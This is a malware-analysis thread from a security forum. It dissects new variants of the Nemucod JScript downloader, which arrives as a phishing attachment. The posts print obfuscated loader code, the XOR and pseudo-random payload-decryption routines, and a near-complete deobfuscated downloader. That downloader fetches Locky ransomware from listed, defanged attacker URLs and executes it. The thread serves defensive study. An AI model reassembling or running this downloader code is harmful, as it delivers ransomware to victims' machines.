Malware Analysis WARNING - New version of precedent "JS/TrojanDownloader.Nemucod" !? - (July, 28)

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I received another fresh sample yesterday (July, 28) :

"Hi DardiM,

Speaking of the event, I attached the annual report that we discussed about


Best regards
Stacy Landry"

I suppose it's a new version of the one I analysed on a precedent post (same principal structure once several obfuscated method used are "removed").

I will only write about main changes I saw
For complete details for precedent version (the deobuscaded pdf version will help to follow below quick analysis ) :
https://malwaretips.com/threads/new...y-mail-js-trojandownloader-nemucod-ajp.61375/

Name :

"annual report ~841~..wsf"

I reported it to hybrid-analysis :

This is the VxStream Sandbox Analysis Summary received by mail :

File Name: annual report ~841~..wsf
Analysis State: SUCCESS
Threat Verdict: malicious
Threat Score: 89/100
AV Detection Ratio: n/a
AV Family Name: n/a
Time of analysis: 2016-07-29 03:54:26
File Size (bytes): 56513
File Type: HTML document, ASCII text, with very long lines, with CRLF, LF line terminators


and the virus-total link :

https://www.hybrid-analysis.com/sam...e5d743f18cd7c597ebd17dd3a56?environmentId=100

Quick analysis of changes :

Script language : JScript

They used Unicode Hex Character Code

Example :
'\x76\x61\x72\x20KI\x7a\x20\x3d \x22\x65\x22\x20\x2b\x20\x22\x22\x3b\x0d\x0a'

=> Var KIz = "e" + ""; CRLF [Carriage Return][Line Fed] =>\x0d\x0a => next line :p

<job>
<script language="JScript">
var aHq = ('\x76\x61\x72\x20KI\x7a\x20\x3d \x22\x65\x22\x20\x2b\x20\x22\x22\x3b\x0d\x0a'+
'\x76\x61r\x20\x51\x52\x770\x20\x3d \x22\x63l\x6fs\x22\x20+\x20\x22'+
'"\x3b\x0d\x0a\x76\x61\x72\x20\x45\x49\x71\x30\x20\x3d\x20\x22\x65\x22\x20\x2b '+
'\x22"\x3b\x0d\x0a\x76\x61\x72\x20T\x56e\x20=\x20\x22o\x46\x69\x6c\x22'+
'\x20\x2b\x20""\x3b\x0d\x0a\x76\x61r\x20D\x61\x20\x3d\x20\x22\x53\x61\x76'+
'\x65\x54" + \x22";\x0d\x0a\x76a\x72\x20\x57\x6a\x20\x3d\x20"'+
'\x78\x74"\x20\x2b\x20\x22"\x3b\x0d\n\x76a\x72\x20Ny\x20\x3d\x20\x22'+
'\x65\x54\x65\x22\x20+\x20"\x22\x3b\x0d\x0a\x76\x61\x72\x20\x57q4\x20\x3d'+
'\x20\x22\x77\x72\x69\x74"\x20\x2b
....
....
'\x4f\x680\x29\x5d\x28\x29\x3b\r\x0a\x7d\x3b').split('').join('');
var QZw1 = aHq;
</script>
<script language="JScript">
eval(QZw1);</script>
</job>


Once this part is decoded :

=> It looks like what I already describe for precedent version.
Characters substitution cipher (two functions) and deobfuscation function, all to make the real exe content, are presents.

Main change : the XOR part in deobfuscation function (used to "decrypt" the payload)

function deobfuscation(file_content_temp) {
var number;

var NJx3=file_content_temp[file_content_temp.length - 4] |
file_content_temp[file_content_temp.length - 3] << 8 |
file_content_temp[file_content_temp.length - 2] << 16 |
file_content_temp[file_content_temp.length - 1] << 24;

file_content_temp.splice(file_content_temp.length - 4, 4);

// remove 4 last chars from content

number=22;
for (var index=0; index < file_content_temp.length; index++) {

number=(number + file_content_temp[index]) % 0x100000000;
}

if (number != NJx3) { return []; };
number=21;
file_content_temp=file_content_temp.reverse();

for (var index=0; index < file_content_temp.length; index++) {
file_content_temp[index] ^= number; // XOR
number=(number + 5) % 256;
}

return file_content_temp;
// content_file_temp Modified :
// - Bitwise inclusive OR operation and Shift Operators
// - chars removed
// - reverse
// - bitwise exclusive OR operation (XOR)
//- modulo

}
The

for (var index=0; index < file_content_temp.length; index++) {
file_content_temp[index] ^= number; // XOR
number=(number + 5) % 256;
}

is now made in first, and is also more complicated :

var QVh1 = uheprng();
for (var index=0; index < file_content_temp.length; index++) {
file_content_temp[index] ^= QVh1(256); // XOR
}

with :
function uheprng() {
return (function() {
var o = 48,
c = 1,
p = o,

s = new Array(o);
var i, j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 1 * 0; i < o; i++) s = mash(384267);
mash = null;
var random = function(range) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
function rawprng() {
if (++p >= o) p = 0;
var t = 1768863 * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | 0);
}
return random;

}());
};

function Mash() {
var n = 0xefc8249d;
var mash = function(data) {
if (data) {
data = data.toString();
for (var i = -8257 + 8257; i < data.length; i++) {
n += data.charCodeAt(i);
var h = 0.02519603282416938 * n;
n = h >>> 0;
h -= n;
h *= n;
n = h >>> 0;
h -= n;
n += h * 0x100000000;

}
return (n >>> 0) * 2.3283064365386963e-10;
} else
n = 0xefc8249d;
};
return mash;
}

PAYLOAD :

=> classified as Locky.AP.gen (8/53)

https://www.virustotal.com/en/file/...be775a6eba4d1f9ba37e0c86dfaf81ead26/analysis/

%TEMP%/vGDwqGMe6.exe
if successfully deobuscated by the js downloader (seen as DOS executable before, without .exe extension)
else no .exe extension (see my analyse of precedent version for details)

URLS found by code analysis (I modified some parts for security purpose) :
hxxp://w_w_w_.pastificiodelduca.com/[name1]
hxxp://fiditra.de/[name2]
hxxp://darkhollowcoffee.com/[name3]

When I submitted this sample to virus-total, i choose to share it to public.
=> Can be downloaded for dynamical analysis (by ours authorized members only :))

UPDATED :

KTS, ZAM, Crystal Security detected the downloader :

Trojan-Downloader.JS.Agent.lvk
Script:Generic/Saruth.A!Ieei
Trojan.Script.Heuristic-js.iacgm
JS/Dloader.DRY!tr.dldr
virus.js.gen.80


KTS, ZAM, Crystal Security & VoodooShield detected the payload :

Trojan:Win32/Goorka.A!Emaa
Win32.Trojan.WisdomEyes.151026.9950.9993
W32/Locky.AP.gen!Eldorado
Trojan/Win32.Locky.N2064104393
BScope.P2P-Worm.Palevo
QVM20.1.Malware.Gen
 
Last edited by a moderator:
N

NullByte

Nice analysis, have you notice that is the same technique as before, just a few changes ? When you will post on future about VirusTotal detection, make a link. For example: classified as Locky.AP.gen (8/53) make (8/53) the link to VirusTotal scan. Beside that you did a good job.

I'm happy to see Crystal Security doing well.
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Nice analysis, have you notice that is the same technique as before, just a few changes ? When you will post on future about VirusTotal detection, make a link. For example: classified as Locky.AP.gen (8/53) make (8/53) the link to VirusTotal scan. Beside that you did a good job.

I'm happy to see Crystal Security doing well.
@NullByte said : "have you notice that is the same technique as before, just a few changes ?":

=>
Yes ! I said several time on the above post that it was the same as precedent with some changes ;)

Part "Quick analysis of changes :" for example

"same principal structure (as the precedent) once several obfuscated method used are "removed""

That's also why I didn't make a complete analysis, only wrote about the main differences :)

" first obfuscation method, by complete Unicode Hex Character Code'
"For complete details for precedent version (the deobuscaded pdf version will help to follow below quick analysis )"

"Once this part is decoded :

=> It looks like what I already describe for precedent version.

Main change : the XOR part in deobfuscation function"


And that is the reason I suggested to read precedent post and see the pdf with deofuscation I made to better understand this new QUICK analysis (for the part with XOR change) :
I then put on a spoiler part precedent and new deobfuscation function, and also the new funcion and sub-function used for the XOR part.

"classified as Locky.AP.gen (8/53) " : I have just edited the first post with a link to an analog payload (not the same name, but it seems to be the same file : same SHA256) - Thanks for the suggestion
 
Last edited:
N

NullByte

The Nemucode is so common because most AVs don't scan .JS they only scan *.exe, *.dll and a few more extensions. This is because they wanna have a good performance and if they scan all files they system will be slower, also most AVs nowadays use some type of cloud lookup and they only scan files with valid PE.

It's easier to use a *.JS file and drop the encrypted payload because the AV will not detected so easy. In one of my comments from yesterday (I think was from @King Mellow 's post) I said that "Behaviour Blocker is better then HIPS and HIPS is better then Anti-EXE." it's because of this type of malware, it's easier to detect the pattern with a Behaviour Blocker (see BitDefender).

It's also funny to see that Nemucode only drops RansomWare, I didn't see any Backdoor or BotNet.
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
The Nemucode is so common because most AVs don't scan .JS they only scan *.exe, *.dll and a few more extensions. This is because they wanna have a good performance and if they scan all files they system will be slower, also most AVs nowadays use some type of cloud lookup and they only scan files with valid PE.

It's easier to use a *.JS file and drop the encrypted payload because the AV will not detected so easy. In one of my comments from yesterday (I think was from @King Mellow 's post) I said that "Behaviour Blocker is better then HIPS and HIPS is better then Anti-EXE." it's because of this type of malware, it's easier to detect the pattern with a Behaviour Blocker (see BitDefender).

It's also funny to see that Nemucode only drops RansomWare, I didn't see any Backdoor or BotNet.
I agree with you :)

This time it was a .wsf

Humor ON
=> they certainly read the post on MalwareTips where a suggestion was made to "make notepad opens by default all .js files" :rolleyes::p
Humor OFF

Here is an interesting analysis where the payload doesn't need to be downloaded (hard coded on a var as a Base64 encoded string)

https://malwaretips.com/threads/sal...-dropper-very-basic-obfuscation-method.61647/
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I don't know this malware but i presume that it download some other malware like ransomware in the infected pc. I don't understand the content of second spoiler, it seems a code that generate a key for a ransomware encryption.
You should read the first thread https://malwaretips.com/threads/new...y-mail-js-trojandownloader-nemucod-ajp.61375/
to better understand this last analysis thread, because here are only the differences seen compared with precedent version :)

And you also need to see the pdf linked as deobfuscated version from precedent post / version :)

The link for the pdf of deobfuscated donwlader :
https://malwaretips.com/threads/new...ojandownloader-nemucod-ajp.61375/#post-524688

The scripted file (obfuscated with several methods) downloads an obfuscated file, the ransomware ( that isn't seen as an .exe file), and calls several functions to decipher / decrypt its content. Then if all is ok, it runs the ransomware (with a parameter)

Two functions are char replacements (char arrays hard coded, and values adjusted),
and another function, that I named function deobfuscation(file_content_temp) do :
- Bitwise inclusive OR operation and Shift Operators
- chars removing
- file_content reversing
- bitwise exclusive OR operation (XOR)
- modulo

In this present post, I only talk about what changed from precedent version (script used, obfuscation method used for the var, and new functions called to make the XOR operation)

They changed the XOR part, to be less clear :

number=21;
file_content_temp=file_content_temp.reverse();
for (var index=0; index < file_content_temp.length; index++)
{ file_content_temp[index] ^= number; // XOR

number=(number + 5) % 256;
}

number var removed and replaced by a function call and sub-functions

var QVh1 = uheprng();
for (var index=0; index < file_content_temp.length; index++) {
file_content_temp[index] ^= QVh1(256); // XOR
}

and now this loop is done before all other deobfuscation method from function deobfuscation

see the second spoiler on first post for details for this function :)

In this new version, it seems complicated functions, but they can be simplified a lot.

See below post :)
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I was waiting for some members remarks about the uheprng() and sub functions used :p
Nobody have seen the 'Lol' part of them ? :rolleyes:
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
some clues :

They wrote :
var QVh1 = uheprng();
for (var index=0; index < file_content_temp.length; index++) {

file_content_temp[index] ^= QVh1(256); // XOR
}

function uheprng() {
return (function() {
var o = 48,
c = 1,
p = o,
s = new Array(o);
var i, j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 1 * 0; i < o; i++) s = mash(384267);
mash = null;
var random = function(range) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
function rawprng() {

if (++p >= o) p = 0;
var t = 1768863 * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | 0);
}


return random;
}());
};

function Mash() {

var n = 0xefc8249d;

var mash = function(data) {

if (data) {

data = data.toString();

for (var i = -8257 + 8257; i < data.length; i++) {

n += data.charCodeAt(i);
var h = 0.02519603282416938 * n;
n = h >>> 0;
h -= n;
h *= n;
n = h >>> 0;
h -= n;
n += h * 0x100000000;
}

return (n >>> 0) * 2.3283064365386963e-10;
} else

n = 0xefc8249d;
};
return mash;
}

But With :
var QVh1 = uheprng();
then : QVh1 => function (range) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
And then : QVh1(256)
=>
function (256) {
return Math.floor(256* (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}

A lot of parts can me simplify to make easier to understand what value QVh1(256) returns on the For loop. All is made to return different values for each call (one number can appears several time :) )

Two example of useless code :
(1)
base64chars= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
=> not used :)

(2)
for (var i = -8257 + 8257; i < data.length; i++)

=> for (var i =0; i < data.length; i++)

Explanation :
var QVh1 = uheprng();

a s array of 48 decimal values is created.

QVh1(256)

=>
function (256) {
return Math.floor(256* (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}

For Loop :
rawprng() function is called two times by loop to calculate 2 numbers using the s array and return a value which will be use by XOR
This function also modify each decimal value used from s array by new values (an algorithm used).
Once the 48 values are used, it comes back to the first index of the s array, and repeats the same job, with new values :)

0.07975278841331601,
0.6804372970946133,
0.8251857478171587,
0.3858379179146141,
0.20277558243833482,
0.5233179950155318,
0.29261299641802907,
0.8847876784857363,
0.5492699064780027,
0.49263946688733995,
0.6352821697946638,
0.6250513666309416,
0.9534403954166919,
0.31153101357631385,
0.8326668587978929,
0.2788961725309491,
0.4785390372853726,
0.3585606215056032,
0.3171015519183129,
0.439675324363634,
0.2097683851607144,
0.7427571569569409,
0.45213536242954433,
0.299924643477425,
0.10864634881727397,
0.2640690696425736,
0.4336713587399572,
0.13067218149080873,
0.49213426234200597,
0.5646548578515649,
0.8305750640574843,
0.9911180278286338,
0.72641741624102,
0.00853320281021297,
0.6940444246865809,
0.7307179633062333,
0.017758204601705074,
0.6830477498006076,
0.9265580121427774,
0.6437259041704237,
0.19555049017071724,
0.11737947538495064,
0.47831748193129897,
0.6083258546423167,
0.3609009054489434,
0.4427379500120878,
0.6209897715598345,
0.6392824354115874

193,137,57,77,55,31,112,153,255,51,137,131,129,56,22,127,227,128,212,47,6,24,66,212,179,96,83,247,110,231,190,114,168,181,119,32,179,44,36,104,106,114,232,119,122,170,63,238,203,119,51,127,221,179,88,56,168,51,55,218,161,24,133,139,149,225,10,236,151,123,97,87,34,213,218,94,59,22,156,248,55,116,157,152,119,56,116,110,144,128,3,169,64,169,161,24,145,247,182,77,241,89,28,89,29,109,96,33,109,162,182,223,154,70,50,65,224,31,210,24,192,10,208,233,19,249,207,71,229,134,32,167,218,167,96,68,51,111,120,190,35,90,200,204,69,221,255,94,250,101,251,88,29,188,226,110,14,237,126,6,218,143,193,80,144,77,108,91,219,183,36,94,226,239,153,186,209,235,185,201,247,191,117,218,173,112,190,207,123,168,32,151,167,86,62,56,74,81,88,248,8,207,137,97,124,189,211,194,230,167,85,209,30,12,81,32,94,31,4,68,108,203,125,6,253,158,48,177,4,76,243,56,132,221,138,3,245,131,80,10,77,244,175,53,84,186,140,58,97,224,199,89,41,94,61,113 ...

So, it' s not to hard t get the values used for XOR part :)

Once again, Nobody have seen the 'Lol' part of them ? :rolleyes:
Will give the answer if nobody find :)
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
So this is the 'Lol' part I was talking about :

function uheprng() {
return (function() {
var o = 48,
c = 1,
p = o,
s = new Array(o);
var i, j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 1 * 0; i < o; i++) s = mash(384267);
mash = null;

var random = function(range) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}

function rawprng() {
if (++p >= o) p = 0;
var t = 1768863 * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | 0);
}

return random;
}());
};

As I said above (clues) :

(1) Xor modification used on the content file :

var QVh1 = uheprng();
for (var index=0; index < file_content_temp.length; index++) {

file_content_temp[index] ^= QVh1(256); // XOR
}

(2) call of uheprng() function :

var QVh1 = uheprng();
then : QVh1 => function (range) {
return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
and s array created (see post above : it is used to put temporary values to obtain, by many operations, the good value to return for XOR)

And then : QVh1(256)
=>
function (256) {
return Math.floor(256* (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}

=> the makers of this Jscript downloader , have named the function that return values for the XOR part, var random :rolleyes:
( this function returns always the same list of numbers :), not random numbers, what is logical ;))

Is this a sense of humor !? :D

End of analysis.

N.B.: they can put all complicated functions they want, just deleting the part in the script that runs the .exe file, and we obtain the deobfuscated one :p
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I found a modified version, and what a coincidence, some parts have been changed/added with a real random value :rolleyes:
(just see the post above this one :p )

Malware Vault samples :
https://malwaretips.com/threads/5-8-16-8.62027/

2.js

from 7/54 when posted to 30/54 now
https://www.virustotal.com/en/file/...4978c6ef03160d86ffb50022f522c0c9338/analysis/
https://www.hybrid-analysis.com/sam...03160d86ffb50022f522c0c9338?environmentId=100

"%TEMP%/isM3vau3.exe"

First, a call of the famous uheprng function :

var TIk = uheprng(Math.random().toString())

Math.random().toString() => a real random decimal number converted into a string :D

BUT:

TIk
new content is still : function (range) { return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16)); }

=> the famous s array of 48 decimal values is created, but this first time, the content is not really important ;)

var TIk = uheprng(Math.random().toString())
=>
for (i = 0; i < o; i++) s = mash(seed);
in this first call, seed = the decimal number converted into a string seen above

---------------------------------------------------------------------------------------------------------------------------

When uheprng will be used for XOR part, seed =587363 => this time, not a random value
=> var NQf6 = uheprng(
587363);
=> the famous s array of 48 decimal values is created, but with this second call, the content is not random data, that is logical to make the deobfuscation of content file.
And then NQf6(256) will return well known numbers (see posts above for more explanations)

---------------------------------------------------------------------------------------------------------------------------

=> var Gr = TIk(urls_tab.length); => a random value between 0 and 3, based on the urls_tab.length =>length = 4 => index = 0,1,2,3

urls_tab :
var Lj4 = [Sm7 + (function QPy() {
return Ga6;
}()) + Pz + Ne + Rf + PKu + Tv(HRp) + OKa6 + Uo + OHi6 + MWj(SLq) + Gn4 + LHl8, As(Po3) + TSa + Ze1 + Kb3(Kf3) + Gp0 + Ur8(SWk) + (function YFu3() {
return BEs;
}()) + SJa + Gt8 + ATm5 + Br2 + Xz7(LLy5) + KJq4 + (function PDr() {
return CZe8;
}()) + EXd, Zz0 + Gy5(DVp) + Pi4 + Tn + SRe + (function BTy() {
return DXi2;
}()) + (function Lf4() {
return GFw;
}()) + LEa4(DFu) + Ff + Fk(LOf3) + FOx8(Vg7) + Tu, Sm7 + Ri6 + Kz9(Tp5) + Ay1(XIa) + (function Sk6() {
return Yd7;
}()) + Td1 + LQg + ESo8 + Gx0 + FYn1 + Mu + Mg + KTx + YZa3];

Deobfiscated :
hxxp://traveltotre.in/2c4ykij7,
hxxp://escapegasmech.com/048220y5,
hxxp://goldjinoz.com/0a3tg,
hxxp://platimunjinoz.ws/13fo8lnl
In the do...while Loop :
urls_tab[Gr++ % urls_tab.length]
=> get one of the 4 URLs, and each URL by index (modulo used to make the index always on the tab.length)
=> each URL are retrieved and used if the precedent exists no more/failed

Example :
=> var Gr = TIk(urls_tab.length) : if it returns 2 the first time
==> index ==> (2+1) % urls_tab.length = 3 % 4 = 3
==> next time: index ==> (3+1) % urls_tab.length = 4 % 4 = 0
==> next time: index ==> (4+1) % urls_tab.length = 5 % 4 = 1
==> next time: index ==> (5+1) % urls_tab.length = 6 % 4 = 2
==> next time: index ==> (6+1) % urls_tab.length = 7 % 4 = 3
==> next time: index ==> (7+1) % urls_tab.length = 8 % 4 = 0
==> next time: index ==> (8+1) % urls_tab.length = 9 % 4 = 1
==> next time: index ==> (9+1) % urls_tab.length = 10 % 4 = 2
==> next time: index ==> (10+1) % urls_tab.length = 11 % 4 = 3
etc...​
As the precedent versions, the do...while Loop only end if the script has successfully downloaded the payload and deobfuscated it to make the real exe ransomware...
(a cut of the connection will only make the script looping until it succeed)
var tab_methods = ["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1" ];
for (var index = 1 * 0; index < tab_methods.
length; index++) {
try {

var oHttp = WScript.CreateObject](tab_methods[index]);
break;
} catch (e) {

continue;
}
};

var TIk = uheprng(Math.random().toString());
var Lp9 = 1;

do {

var Gr = TIk(urls_tab.length); //=> a random value between 0 and 3

try {
if ((1 * 1) == Lp9) {
oHttp.
open("GET", urls_tab[Gr++ % urls_tab.length], false);
oHttp.
send()
}

if (oHttp.readystate < 4) {
WScript.Sleep(0);
continue;
}

var oStream = WScript.CreateObject("ADODB.Stream");
oStream.
open();
oStream.
type = 1;
oStream.
write(oHttp.responseBody);
oStream.
position = 0;
oStream.
saveToFile(file_path, 2);
oStream.
close();
var file_content = ReadTextFromFile_char_substitution_1(file_path);
file_content = deobfuscation(file_content);
if (file_content.length < 100 * 1024 || file_content.length > 230 * 1024 || !is_real_exe(file_content)) {

Lp9 = 1;
continue;
}

try {
WriteTextToFile_char_substitution_2(exe_file_path, file_content);
} catch (e) {

break;
};

oShell.run(exe_file_path + " 323"); // new parameter used
break;
} catch (e) {

WScript.Sleep(1000);
continue;
};
} while (Lp9);

WScript.
Quit(0);
In precedent version it was :

var index = 0;
...
do

...
objet_Http.open("
GET", URLS_array[index++ % URLS_array.length], false);
...
while
The real important use of uheprng :

The XOR part :

var NQf6 = uheprng(Em);

for (var i= 0 ; i< file_content_temp.length ; i++) {
file_content_temp ^= NQf6(256);
}

Another change :

The array parts, used in the cipher decoders - one small example :
...
ELs[-9466 + 9700] = 136;
ELs[235] = 4 * 34 + 1;
ELs[232] = -9682 + 9820;
ELs[239] = 41 * 3 + 16;
ELs[-5635 + 5873] = 140;
ELs[-7222 + 7458] = 141;
ELs[196] = -5701 + 5843;
ELs[-4015 + 4212] = 143;
ELs[-3816 + 4017] = 144;
ELs[-5883 + 6113] = 145;
ELs[198] = 146;
ELs[244] = -9110 + 9257;
ELs[246] = 148;
...

They tried to obfuscated it a bit more by +, - , * operators , negative values, using decimal numbers :)
The same part was :
...
FCi9[0xEA]=0x88;
FCi9[0xEB]=0x89;
FCi9[0xE8]=0x8A;
FCi9[0xEF]=0x8B;
FCi9[0xEE]=0x8C;
FCi9[0xEC]=0x8D;
FCi9[0xC4]=0x8E;
FCi9[0xC5]=0x8F;
FCi9[0xC9]=0x90;
FCi9[0xE6]=0x91;
FCi9[0xC6]=0x92;
FCi9[0xF4]=0x93;
FCi9[0xF6]=0x94;
...
For the other parts :
almost the same as already seen in my precedent analysis from this malware family :)

Deofuscated version :

Done in a way you can't make it works if copy-paste - This part is for study purposes only

var tab_methods = ["MSXML2.XMLHTTP", "WinHttp.WinHttpRequest.5.1" ];
for (var index =0 ; index < tab_methods.
length; index++) {
try {
var oHttp oHttp = WScript.CreateObject](tab_methods[index]);
break;
} catch (e) {
continue;
}
};

urls_tab = [

"hxxp://traveltotre.in/2c4ykij7",
"hxxp://escapegasmech.com/048220y5",
"hxxp://goldjinoz.com/0a3tg",
"hxxp://platimunjinoz.ws/13fo8lnl"​
];

var TIk = uheprng(Math.random().toString());
var Lp9 = 1;
do {

var Gr = TIk(urls_tab.length); //
try {

if (1 == Lp9) {
oHttp.open("GET", urls_tab[Gr++ % urls_tab.length], false);
oHttp.
send();
}
if (oHttp.
readystate < 4) {
WScript.Sleep(0);
continue;
}
var oStream = WScript.
CreateObject("ADODB.Stream");
oStream.
open();
oStream.
type = 1;
oStream.
write(oHttp.responseBody);
oStream.
position = 0;
oStream.s
aveToFile(file_path, 2);
oStream.
close();
var file_content = ReadTextFromFile_char_substitution_1(file_path);
file_content = deobfuscation(file_content);
if (file_content.
length < 100 * 1024 || file_content.length > 230 * 1024 || ! is_real_exe_file(file_content)) {
Lp9 = 1;
continue;
}
try {

WriteTextToFile_char_substitution_2(exe_file_path, file_content);
} catch (e) {
break;
};
oShell.
Run(exe_file_path + " 323");
break;
} catch (e) {
WScript.Sleep(1000);
continue;
};
} while (Lp9);

WScript.
Quit(0);

// Functions used
function uheprng(UFn4) {
return (function() {
var seed = UFn4;
var o = 48,
c = 1,
p = o,
s = new Array(o);
var i, j;
var base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var mash = Mash();
for (i = 0; i < o; i++) s = mash(seed);
mash = null;
var random = function(range) {

return Math.floor(range * (rawprng() + (rawprng() * 0x200000 | 0) * 1.1102230246251565e-16));
}
function rawprng() {
if (++p >= o) p = 0;
var t = (1759680 + 9183) * s[p] + c * 2.3283064365386963e-10;
return s[p] = t - (c = t | (0));
}
return random;
}());
};

function Mash() {

var n = 0xefc8249d;
var mash = function(data) {

if (data) {
data = data.toString();
for (var i = 0; i < data.
length; i++) {
n += data.charCodeAt(i);
var h = 0.02519603282416938 * n;
n = h >>> 0;
h -= n;
h *= n;
n = h >>> 0;
h -= n;
n += h * 0x100000000;
}
return (n >>> 0) * 2.3283064365386963e-10;
} else n = 0xefc8249d;
};
return mash;
}

function deobfuscation(file_content) {

var Nf;
var NQf6 = uheprng(587363);
for (var index = 0; index < file_content.
length; index++) {
file_content[index] ^= NQf6(256);
}
var XWe = file_content[file_content.
length - 4] | file_content[file_content.length- 3] << 8 | file_content[file_content.length - 2] << 16 | file_content.length - 1] << 24;

file_content.
splice(file_content.length - 4, 4);
Nf = 2;
for (var index = 0; index < file_content.
length; index++) {
Nf = (Nf + file_content[index]) % 0x100000000;
};
if (Nf != XWe) {

return [];
};
return file_content;
};

function is_real_exe_file(file_content) {

if (file_content[0] == 0x4D && file_content[1] == 0x5a) { //"MZ"
return true;
} else {
return false;
}
};

function ReadTextFromFile_char_substitution_1(file_path) {

var oStream = WScript.CreateObject("ADODB.Stream");
oStream.
type = 2;
oStream.
Charset = "437;
oStream.
open();
oStream.
LoadFromFile(file_path);
var file_content = oStream.
Readtext;
oStream.
close();
return char_substitution_1(file_content);
};

function char_substitution_1(file_content) {

var ELs = new Array();
ELs[199] = 128;
ELs[252] = 129;
...
...
ELs[8319] = 252;
ELs[178] = 253;
ELs[9632] = 254;
ELs[160] = 255;

var file_content = new Array();
for (var index = 0; index < file_content.
length; index++) {
var char_code = file_content.CharcodeAt(index);
if (char_code < 128) {

var new_char_code = char_code;
} else {
var new_char_code = ELs[char_code];
}
file_content.
push(new_char_code);
};
return file_content;
};

function char_substitution_2(file_content) {

var HFw3 = new Array();
HFw3[128] = 199;
HFw3[129] = 252;
...

...
HFw3[254] = 9632;

HFw3[255] = 160;

var Ww = new Array();
var file_content = "";
var char_code;
var new_char_code;
for (var index = 0; index < file_content.
length; index++) {
char_code = file_content[index];
if (char_code < 128) {

new_char_code = char_code;
} else {
new_char_code = HFw3[char_code];
}
Ww.
push(String.fromCharCode(new_char_code));
}
file_content = Ww.
join("");
return file_content;
};

function WriteTextToFile_char_substitution_2(exe_file_path, file_content) {

var oStream = WScript.CreateObject("ADODB.Stream");
oStream.
type = 2;
oStream.
Charset= "437" ;
oStream.
open();
oStream.
WriteText(char_substitution_2(file_content));
oStream.
SaveToFile(exe_file_path, 2);
oStream.
close();
};
 
Last edited:

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top